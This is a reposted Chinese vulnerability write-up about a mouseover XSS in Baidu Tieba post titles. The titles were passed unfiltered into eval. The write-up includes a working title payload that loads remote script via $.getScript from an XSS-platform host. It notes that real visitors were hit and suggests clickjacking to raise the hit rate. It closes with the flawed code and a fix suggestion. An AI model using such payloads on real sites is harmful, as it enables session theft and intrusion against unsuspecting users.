网站地图    收藏   

主页 > 后端 > 网站安全 >

百度贴吧贴内一处Mouseover XSS利用 - 网站安全 - 自

来源:自学PHP网    时间:2015-04-17 11:59 作者: 阅读:

[导读] 贴内一处操作,对数据未过滤,导致产生一处XSS,需要鼠标从上面经过才能触发,可结合clickjacking之类的使用。1. 由于在编写工具,测试hook eval的效果。在贴吧内发了一帖子。http://tie...

贴内一处操作,对数据未过滤,导致产生一处XSS,需要鼠标从上面经过才能触发,可结合clickjacking之类的使用。

 
1. 由于在编写工具,测试hook eval的效果。在贴吧内发了一帖子。http://tieba.baidu.com/p/2045714993
 
标题为:"。。生蛋啦~ '
 
2. 打开工具,对 “生蛋啦” 这三个字进行监视。
 
 
 
3. 刷新页面,并没有发现什么结果,但是当鼠标不小心移动到【分享到】按钮时,报告了一个,如下图:
 
 
 
4. 从上图,我们不难看出,【标题】被作为 data 属性存储,并且通过getAttribute的方式读取,未过滤就传入eval中执行。
 
5. 这样一来,我们就很容易构造代码了。
 
发表一帖子,标题如下:
 
',a:$.getScript('//xsser.me/Bqp9Ry'),a:'
 
即最后被传入eval的数据变为:
 
被eval的数据
({title:'分享到',wbuid:1673450172, text:'',a:$.getScript('//xsser.me/Bqp9Ry'),a:''})
 
帖子地址:http://tieba.baidu.com/p/2134900096
 
6. 我自己的个人贴吧,没什么人访问。且要mouseover上去是有概率的,不过还是有中招的。
 
 


 
7. 如果要增大这个的命中率, 可以做一个抽奖页面,搞个大按钮,然后把贴吧的页面 iframe 下,做个clickjacking。 当别人鼠标移到【抽奖】按钮上时,即可触发。具体代码不表。
 
修复方案:
缺陷代码部分:
function (e){pos=base.getposition(a);custom=(b.getattribute("data")&&b.getattribute("data")!="")?eval("("+b.getattribute("data")+")"):"";base.setattr(p,"display:"+v);base.setattr(p,"left:"+(((base.getsize().w-e.clientx)<p.offsetwidth)?(pos.l-p.offsetwidth+a.offsetwidth):pos.l)+"px");base.setattr(p,"top:"+(((base.getsize().h-e.clienty)<p.offsetheight)?(pos.t-p.offsetheight):pos.t+a.offsetheight)+"px");base.setattr(m,"display:"+v+";width:"+p.offsetwidth+"px;height:"+p.offsetheight+"px;left:"+p.style.left+";top:"+p.style.top)}
 
 
在eval之前,将b.getattribute("data")的值判断过滤下?

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论